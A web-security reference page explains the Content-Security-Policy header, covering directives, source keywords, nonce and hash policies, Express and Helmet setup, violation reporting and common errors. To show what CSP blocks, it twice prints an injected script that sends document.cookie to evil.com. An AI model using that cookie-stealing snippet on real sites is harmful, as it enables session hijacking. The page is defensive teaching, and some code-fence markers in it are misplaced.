- Home
- HTTP Headers
- Content-Security-Policy Header
Header
Content-Security-Policy Header
Learn how Content-Security-Policy (CSP) defines security policies to prevent XSS, clickjacking, and code injection. Master CSP directives and best practices.
Content-Security-Policy Header
TL;DR: Defines security policies to prevent XSS and code injection attacks by controlling which resources browsers can load. Use directives like script-src and default-src to whitelist trusted sources.
What is Content-Security-Policy?
The Content-Security-Policy (CSP) header is a powerful security feature that helps prevent Cross-Site Scripting (XSS), clickjacking, and other code injection attacks by declaring which content sources are trustworthy. It’s like a whitelist that tells the browser: “Only load resources from these approved sources.”
By implementing CSP, you can prevent attackers from injecting malicious scripts, even if they find a vulnerability in your application.
How Content-Security-Policy Works
Without CSP (vulnerable):
<!-- Attacker injects this script -->
<script>
fetch('https://evil.com/steal?data=' + document.cookie)
</script>
<!-- Script executes and steals cookies -->
```text
**With CSP (protected):**
```http
HTTP/1.1 200 OK
Content-Security-Policy: default-src 'self'; script-src 'self'
Content-Type: text/html
<!DOCTYPE html>
<html>
<!-- Same injected script -->
<script>
fetch('https://evil.com/steal?data=' + document.cookie)
</script>
<!-- Browser blocks the script and logs error -->
</html>
Browser console shows:
Refused to load the script because it violates the following Content Security Policy directive: "script-src 'self'"
Syntax
Content-Security-Policy: <directive> <source>; <directive> <source>; ...
```text
Multiple directives are separated by semicolons.
```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' 'unsafe-inline'
Common Directives
Resource Loading Directives
# JavaScript sources
script-src 'self' https://cdn.example.com
# Stylesheets
style-src 'self' https://cdn.example.com
# Images
img-src 'self' https://images.example.com data:
# Fonts
font-src 'self' https://fonts.gstatic.com
# AJAX, WebSocket, EventSource
connect-src 'self' https://api.example.com
# <frame>, <iframe>, <object>, <embed>
frame-src 'self' https://youtube.com
# Web Workers
worker-src 'self'
# <video>, <audio>
media-src 'self' https://videos.example.com
# <object>, <embed>
object-src 'none'
# Prefetch, prerender
prefetch-src 'self'
# Web App Manifest
manifest-src 'self'
```text
### Document Directives
```http
# Fallback for all directives
default-src 'self'
# Valid form submission targets
form-action 'self' https://api.example.com
# Valid <base> href
base-uri 'self'
# Restrict what can be embedded in <frame>, <iframe>
frame-ancestors 'none'
Navigation Directives
# Control navigation targets
navigate-to 'self' https://example.com
```text
## Source Values
### Keywords (must be in quotes)
```http
# Same origin only
'self'
# Allow nothing
'none'
# Allow inline scripts/styles (unsafe!)
'unsafe-inline'
# Allow eval() (unsafe!)
'unsafe-eval'
# Allow Wasm evaluation
'wasm-unsafe-eval'
# Strict dynamic (overrides whitelist)
'strict-dynamic'
Schemes
# Allow HTTPS only
https:
# Allow specific schemes
https: data: blob:
```text
### Hosts
```http
# Specific domain
https://example.com
# Subdomain
https://*.example.com
# Any port
https://example.com:*
# Specific port
https://example.com:443
Nonces
# Allow script with matching nonce
script-src 'nonce-2726c7f26c'
```javascript
```html
<!-- In HTML -->
<script nonce="2726c7f26c">
console.log('This script is allowed')
</script>
Hashes
# Allow script matching SHA-256 hash
script-src 'sha256-B2yPHKaXnvFWtRChIbabYmUBFZdVfKKXHbWtWidDVF8='
```text
## Common Examples
### Basic Secure Policy
```http
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; font-src 'self'
All resources from same origin only, plus data: URIs for images.
API-Focused Application
Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self' https://api.example.com; style-src 'self' 'unsafe-inline'; img-src 'self' https://cdn.example.com data:
```text
### CDN Usage
```http
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; style-src 'self' https://cdn.example.com; font-src 'self' https://fonts.gstatic.com; img-src 'self' https://images.example.com
React Application
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' data:; connect-src 'self' https://api.example.com
```text
React often needs 'unsafe-inline' for styles (or use CSS-in-JS with nonces).
### Nonce-Based Policy (Recommended)
```http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-rAnD0m123'; style-src 'self' 'nonce-rAnD0m123'
<script nonce="rAnD0m123">
// Inline script allowed
</script>
<style nonce="rAnD0m123">
/* Inline style allowed */
</style>
```text
## Real-World Scenarios
### E-commerce Site
```http
Content-Security-Policy:
default-src 'self';
script-src 'self' https://checkout.stripe.com;
frame-src 'self' https://checkout.stripe.com;
connect-src 'self' https://api.example.com https://analytics.google.com;
img-src 'self' https://cdn.example.com data:;
style-src 'self' 'unsafe-inline';
font-src 'self' https://fonts.gstatic.com
Content Management System
// Node.js/Express - Dynamic nonce generation
app.use((req, res, next) => {
// Generate unique nonce for each request
res.locals.nonce = crypto.randomBytes(16).toString('base64')
next()
})
app.use((req, res, next) => {
const nonce = res.locals.nonce
res.setHeader(
'Content-Security-Policy',
`default-src 'self'; ` +
`script-src 'self' 'nonce-${nonce}'; ` +
`style-src 'self' 'nonce-${nonce}'; ` +
`img-src 'self' https: data:; ` +
`font-src 'self' https://fonts.gstatic.com`
)
next()
})
app.get('/', (req, res) => {
res.send(`
<script nonce="${res.locals.nonce}">
console.log('Allowed script')
</script>
`)
})
```text
### Progressive Web App
```http
Content-Security-Policy:
default-src 'self';
script-src 'self';
worker-src 'self';
connect-src 'self' https://api.example.com wss://live.example.com;
img-src 'self' https://images.example.com;
manifest-src 'self';
style-src 'self' 'unsafe-inline'
Report-Only Mode (Testing)
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-violation-report
```text
Violations are reported but not blocked - perfect for testing new policies.
## CSP Reporting
### Configure Reporting
```http
Content-Security-Policy: default-src 'self'; script-src 'self'; report-uri /csp-report
Or with modern report-to:
Reporting-Endpoints: csp-endpoint="/csp-report"
Content-Security-Policy: default-src 'self'; script-src 'self'; report-to csp-endpoint
```javascript
### Handle Violation Reports
```javascript
// Express endpoint to receive CSP reports
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const violation = req.body['csp-report']
console.error('CSP Violation:', {
documentURI: violation['document-uri'],
violatedDirective: violation['violated-directive'],
blockedURI: violation['blocked-uri'],
sourceFile: violation['source-file'],
lineNumber: violation['line-number']
})
// Log to monitoring service
logToMonitoring('CSP_VIOLATION', violation)
res.status(204).end()
})
Sample Violation Report
{
"csp-report": {
"document-uri": "https://example.com/page",
"violated-directive": "script-src 'self'",
"blocked-uri": "https://evil.com/malicious.js",
"source-file": "https://example.com/page",
"line-number": 42,
"column-number": 15
}
}
```text
## Best Practices
### 1. Start with Report-Only Mode
```javascript
// ❌ Don't deploy strict CSP immediately
res.setHeader('Content-Security-Policy', "default-src 'self'")
// ✅ Test first with report-only
res.setHeader('Content-Security-Policy-Report-Only', "default-src 'self'; report-uri /csp-report")
// Monitor reports, fix violations, then enforce
2. Avoid unsafe-inline
// ❌ Unsafe - allows any inline script
Content-Security-Policy: script-src 'self' 'unsafe-inline'
// ✅ Use nonces for inline scripts
const nonce = generateNonce()
Content-Security-Policy: script-src 'self' 'nonce-${nonce}'
// ✅ Or use hashes
Content-Security-Policy: script-src 'self' 'sha256-hash...'
// ✅ Or move scripts to external files
Content-Security-Policy: script-src 'self'
```text
### 3. Be Specific with Directives
```javascript
// ❌ Too permissive
Content-Security-Policy: default-src *
// ✅ Specific sources for each type
Content-Security-Policy:
default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' https://cdn.example.com;
img-src 'self' https://images.example.com data:
4. Block Object and Frame Sources
# ✅ Prevent Flash/plugin-based attacks
Content-Security-Policy: object-src 'none'; base-uri 'none'; frame-ancestors 'none'
```javascript
### 5. Use Strict-Dynamic (Modern Approach)
```javascript
// ✅ Strict CSP with nonces
const nonce = generateNonce()
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; ` + `object-src 'none'; base-uri 'none'`
)
Common Patterns
Development vs Production
const isDev = process.env.NODE_ENV === 'development'
const csp = isDev
? "default-src 'self' 'unsafe-inline' 'unsafe-eval'; connect-src 'self' ws://localhost:*"
: "default-src 'self'; script-src 'self'; style-src 'self'; connect-src 'self' https://api.example.com"
res.setHeader('Content-Security-Policy', csp)
```text
### Meta Tag (Not Recommended for Full CSP)
```html
<!-- Limited functionality, use HTTP header instead -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self'" />
Helmet.js (Express)
const helmet = require('helmet')
app.use(
helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", 'https://cdn.example.com'],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", 'https://images.example.com', 'data:'],
connectSrc: ["'self'", 'https://api.example.com'],
fontSrc: ["'self'", 'https://fonts.gstatic.com'],
objectSrc: ["'none'"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"]
}
})
)
```text
## Testing CSP
### Browser DevTools
```text
Open DevTools → Console
CSP violations appear as errors:
"Refused to load the script 'https://evil.com/script.js' because it violates the following Content Security Policy directive: 'script-src 'self''"
```text
### CSP Evaluator
```bash
# Online tool
https://csp-evaluator.withgoogle.com/
# Paste your CSP to check for weaknesses
Testing with curl
curl -I https://example.com | grep -i content-security-policy
```text
## Common Errors and Solutions
### Inline Script Blocked
```http
Error: Refused to execute inline script because it violates CSP directive: "script-src 'self'"
```text
**Solution:**
```javascript
// Option 1: Use nonce
<script nonce="${nonce}">...</script>
// Option 2: Move to external file
<script src="/js/app.js"></script>
// Option 3: Use hash (for static content)
Content-Security-Policy: script-src 'sha256-...'
Event Handler Blocked
Error: Refused to execute inline event handler
Solution:
<!-- ❌ Inline event handler -->
<button onclick="handleClick()">Click</button>
<!-- ✅ Add event listener in script -->
<button id="myButton">Click</button>
<script>
document.getElementById('myButton').addEventListener('click', handleClick)
</script>
Related Headers
- X-Content-Type-Options - MIME type sniffing prevention
- X-Frame-Options - Clickjacking protection
- Referrer-Policy - Referrer control
- Permissions-Policy - Feature policy
- Strict-Transport-Security - HTTPS enforcement
Frequently Asked Questions
What is Content-Security-Policy?
CSP controls which resources browsers can load for your page. It prevents XSS by restricting script sources, inline scripts, and other potentially dangerous content.
What are the most important CSP directives?
default-src sets fallback policy. script-src controls JavaScript sources. style-src controls CSS. img-src controls images. connect-src controls fetch/XHR destinations.
How do I start with CSP?
Start with Content-Security-Policy-Report-Only to test without breaking your site. Monitor reports, fix violations, then switch to enforcing mode.
How do I allow inline scripts with CSP?
Use nonces (script-src nonce-random123) or hashes (script-src sha256-hash). Avoid unsafe-inline as it defeats XSS protection. Nonces are preferred for dynamic content.